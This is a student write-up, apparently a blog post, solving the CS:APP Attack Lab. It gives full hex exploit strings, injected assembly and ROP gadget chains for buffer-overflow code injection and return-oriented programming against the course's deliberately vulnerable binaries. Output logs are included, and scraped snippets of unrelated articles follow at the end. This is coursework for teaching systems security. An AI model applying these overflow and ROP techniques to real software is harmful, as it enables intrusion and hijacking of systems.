csapp-attacklab(完美解决版)
注意:必须阅读Writeup,否则根本看不懂这个lab要怎么做
实验前准备
1.在终端中输入./ctarget和./rtarget结果报错


百度后得知自学的同学需要在执行文件时加上-q参数,不发送结果到评分服务器。后来发现官网已经说明了针对self-study student需要使用"-q" option

gbd里面的run也要"-q"

2.使用objdump -d反汇编ctarget
Part 1:Code Injection Attacks
Level 1
覆盖返回值,调用touch1,ctarget_phase1.txt中的值为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40" ,前40个字符用来填充getbuf的帧,最后三个字符修改返回地址为0x4017c0,getbuf的帧如下图所示。

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
Level 2
覆盖返回值,使离开getbuf后跳转至0x59b997fa处,执行如下注入的代码。getbuf的帧如下图所示。

0: 68 ec 17 40 00 pushq $0x4017ec
5: bf fa 97 b9 59 mov $0x59b997fa,%edi
a: c3 retq
b: 90 nop
c: 90 nop
d: 90 nop
e: 90 nop
f: 90 nop
我一开始将touch2的首地址0x4017ec注入到帧里,移动栈指针至保存了0x017ec的地方,这样虽然也能使代码跳转至touch,但无法通过notify_server,因为这是不规范的,规范的做法是使用push,将0x4017ec保存至栈中。
为什么push是规范的方法?首先要看ret指令的含义,执行ret指令时,ret指令从栈中弹出值,然后跳转到这个地址。在本题中,需要利用ret跳转至touch2,所以先将touch2的首地址压入栈中。
执行push指令后,栈的状态如下图所示:

有意思的是,指令的地址是从低处开始,逐渐增大,而栈的地址是从存储空间的最高处开始,逐渐减小。这和配套视频所讲的内容相对应。
除此之外,指令之间可以没有间隔,比如上图第一条指令和第二条指令在存储器上是连续的。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 BF FA 97 B9 59 C3 90 90 90 90 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55
Level 3

由于调用hexmatch和strncmp函数会覆盖getbuf的帧,所以需要注入的数据不能保存在geybuf的帧上,使用gdb反汇编并查看汇编代码,发现getbuf调用的Gets函数会将输入的字符保存在首地址为0x604500的地方,所以使用存储地址为0x604500的存储空间保存注入的cookie。
使用gdb工具查看hexmatch,可以发现,s保存的是cookie中每一个字符对应的十六进制asiic码,具体如表所示:
| cokie | 5 | 9 | b | 9 | 9 | 7 | f | a |
|---|---|---|---|---|---|---|---|---|
| cookie | 0x35 | 0x39 | 0x62 | 0x39 | 0x39 | 0x37 | 0x66 | 0x61 |
所以需要保存在0x604500是cookie中的字符对应的十六进制assic码,注入的代码如下
0: 68 fa 18 40 00 pushq $0x4018fa
5: 48 c7 c7 00 45 60 00 mov $0x604500,%rdi
c: 48 c7 07 35 39 62 39 movq $0x39623935,(%rdi)
13: 48 c7 47 04 39 37 66 movq $0x61663739,0x4(%rdi)
1a: 61
1b: c3 retq
1c: 90 nop
1d: 90 nop
1e: 90 nop
1f: 90 nop
注意代码中第三行和第四行指令中立即数的顺序,立即数中低位保存在存储地址低位的地方
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:59b997fa
Part 2:Return-Oriented Programming
和part1不同,part2设置了栈随机化和限制可执行代码区域(设置栈帧为不可执行区域)来对抗缓冲区溢出攻击
Level 2
先编译farm.c再反汇编farm.o可以得到farm.c对应的汇编代码,实际上这段代码在rtarget中,但是rtarget中东西太多,单独拿出来看更清晰。
gcc -Og -c farm.c
objdump -d farm.o
Writeup中提示如下:
- All the gadgets you need can be found in the region of the code for rtarget demarcated by thefunctions start_farm and mid_farm.•
- You can do this attack with just two gadgets.
- When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploitstring will contain a combination of gadget addresses and data.
查看farm.c的汇编代码,发现一共有三个gadget,分别是
# gadget1
# 48 89 c7 -> movq %rax,%rdi, from 0x4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
# gadget2
# 48 89 c7 -> movq %rax,%rdi,from 0x019c5
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
# gadget3
# 58 -> popq %rax, from 0x4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
gadget1和gadget2是一样的,所以两个都可以使用,我使用了gadget2。
输入字符后getbuf的帧如下图所示

代码执行过程
1.跳转至gadget3,执行 “popq %rax” 从帧中取出0x59b997fa,保存在%rax
2.跳转至gadget2,执行 “movq %rax,%rdi” 将0x59b997fa保存在%rdi
3.跳转至touch2
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Level 3
在farm.c里找到这些gadget,心中已经有数了,把cookie字符随注入字符保存在存储空间,通过%rsp来确定这个字符的位置,不过想了很久还是无法具体实现。
movq %rax,%rdi
popq %rax
movq %rsp,%rax
movl %eax, %edx
movl %ecx, %esi
movl %edx, %ecx
movl %esp,%eax
后来百度看到一篇知乎文章,文章中使用了一个官方没有提到的 "add $0x37, %al" 指令,虽然他最终PASS了,但是这显然是不符合规范的。
但是这也提醒了我,自己对gadget的理解还不够透彻,一开始以为只有代码碎片才能称之为gadget,实际上完整的代码也能当作gadget,比如我接下来将会用到的add_xy,其c代码如下:
long add_xy(long x, long y)
{
return x+y;
}
add_xy的汇编代码如下:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
最后输入的字符为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61" ,输入字符后getbuf的帧如下图所示:

注入字符对应的含义为:

可以看到,正好使用了8个gadget,而Writeup中提到官方的方法使用了8个gadget
从下往上数第一行让%rsp指向的值出栈,并保存在%rax中,同时%rsp的值加1,跳过了常数值0x2,继续执行下一条指令,第3行-第5行将0x2保存在%esi中,第6行将%rsp的值取出来(需要注意的是,这时的%rsp指向第7行,这也是常数值取0x20的原因)保存在%rdi中,第8行add_xy的参数保存在%rdi和%rsi中,之前的指令都是在为add_xy做准备,add_xy的结果指向第11行。最后将%rax的值保存在%rdi中,跳转至touch3。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
csapp-attacklab(完美解决版)的更多相关文章
- 使用sqlyog连接到服务器数据库,实现可视化数据操作。(完美解决版。)《亲测!!!!》
服务器中的表 select Host ,User ,Select_priv ,Insert_priv ,Update_priv ,Delete_priv ,Create_priv ,Drop_pr ...
- Error java 错误 不支持发行版本5 ( 完美解决版)
问题 在Intellij idea中新建了一个Maven项目,运行时报错如下:Error : java 不支持发行版本5 解决方案 1. 原因 是因为ideal中默认配置中有几个地方的jdk版本与实际 ...
- 完美解决 Linux 下 Sublime Text 中文输入
首先,我参考了好几篇文章,都是蛮不错的,先列出来: sublime-text-imfix:首先推荐这个方法,最简单,但是在我的系统上有些问题.可用这个的强烈推荐用这个 完美解决 Linux 下 Sub ...
- 完美解决VS2003.Net fatal error LNK1201: 写入程序数据库“.pdb”时出错
我的开发环境是Win7旗舰64位+VS2003.Net,经常卡pdb错误,文末给出一个完美的解决方案和一个懒人补丁包.问题描述如下:在重新编译的时候,经常报错: fatal error LNK1201 ...
- 用 Anaconda 完美解决 Python2 和 python3 共存问题
Python3 被越来越多的开发者所接受,同时让人尴尬的是很多遗留的老系统依旧运行在 Python2 的环境中,因此有时你不得不同时在两个版本中进行开发,调试. 如何在系统中同时共存 Python2 ...
- 利用Anaconda完美解决Python 2与python 3的共存问题
前言 现在Python3 被越来越多的开发者所接受,同时让人尴尬的是很多遗留的老系统依旧运行在 Python2 的环境中,因此有时你不得不同时在两个版本中进行开发,调试. 如何在系统中同时共存 Pyt ...
- win10想说爱你不容易——安装.net3.5也是一个坑(已有完美解决方法)
最终完美解决方法:经过多次波折,终于找到无法正常安装.net3.5的原因了,是因为已删除的用户还有注册表残留导致的,而且这个问题还会影响一个win10更新的安装,导致每天更新失败,撤销更新... 详见 ...
- 完美解决HALCON C#编程目标平台冲突问题
完美解决HALCON C#编程目标平台冲突问题 楼主# 更多发布于:2016-11-23 10:06 背景: 目标机器工控机使用11.0.1 32位Halcon 原因你懂的.开发环境Win ...
- PNG24在ie6下的完美解决方法!(DD_belatedPNG)
原网址:http://www.zjgsq.com/1629.html 之前写过一篇<js+css滤镜设置解决PNG24在IE6下显示问题> 解决方法不是很完美,使用起来也比较麻烦. DD_ ...
- 完美解决windows10磁盘占用100%并出现卡顿、假死无反应
完美解决windows10磁盘占用100%并出现卡顿.假死无反应 想必大家也跟我一样,自从用win10系统以后经常会出现这种情况:磁盘突然占用100%然后开始出现假死现象,电脑卡住,点击任何软件没反应 ...
随机推荐
- redis的两种持久化方式
1.为什么redis需要持久化 答:edis是基于内存的,如果Redis服务器挂了,数据就会丢失 2.有几种方式实现redis的持久化 答:有两种,一种是AOF 持久化,另一种是RDB持久化 一. A ...
- #单调栈#CodeChef Meteor
METEORAK 分析 设 \(dp[l][r]\) 表示第 \(l\) 到 \(r\) 行的答案,可以发现它由 \(f[l][r],dp[l][r+1],dp[l+1][r]\) 转移而来. 关键就 ...
- vue3 快速入门系列 —— vue3 路由
vue3 快速入门系列 - vue3 路由 在vue3 基础上加入路由. vue3 需要使用 vue-router V4,相对于 v3,大部分的 Vue Router API 都没有变化. Tip:不 ...
- Linux系统 g++ 链接 libopencv_world.a 静态库编译程序
编译opencv,我是直接编译成 libopencv_world.a 一个文件 正常链接编译,容易报错:main: hidden symbol `opj_read_header' isn't def ...
- java excel关联导入数据格式为一对多
java excel关联导入数据格式为一对多 java 表格读取时一行一行的读取 将每行数据放入list 根据 list.stream().filter(m->m.getCode().equa ...
- 在 Google Cloud 上轻松部署开放大语言模型
今天,我们想向大家宣布:"在 Google Cloud 上部署"功能正式上线! 这是 Hugging Face Hub 上的一个新功能,让开发者可以轻松地将数千个基础模型使用 Ve ...
- nginx重新整理——————分析log数据[六]
前言 简单介绍一下goaccess. 正文 安装: yum install epel-release yum install GeoIP GeoIP-devel GeoIP-data yum inst ...
- HarmonyOS NEXT应用开发案例——列表编辑实现
介绍 本示例介绍用过使用ListItem组件属性swipeAction实现列表左滑编辑效果的功能. 该场景多用于待办事项管理.文件管理.备忘录的记录管理等. 效果图预览 使用说明: 点击添加按钮,选择 ...
- 小米电商 Apache Dubbo-go 微服务实践
简介:2021 年是小米中国区电商部门变动调整较大的一年,小米中国区早期电商.服务体系建立在 Go 语言构建的微服务体系之上,由内部自研的 Go 语言微服务框架 koala 支撑起数以千计的微服务应 ...
- 谈AK管理之基础篇 - 如何进行访问密钥的全生命周期管理?
简介: 我们也常有听说例如AK被外部攻击者恶意获取,或者员工无心从github泄露的案例,最终导致安全事故或生产事故的发生.AK的应用场景极为广泛,因此做好AK的管理和治理就尤为重要了.本文将通过两种 ...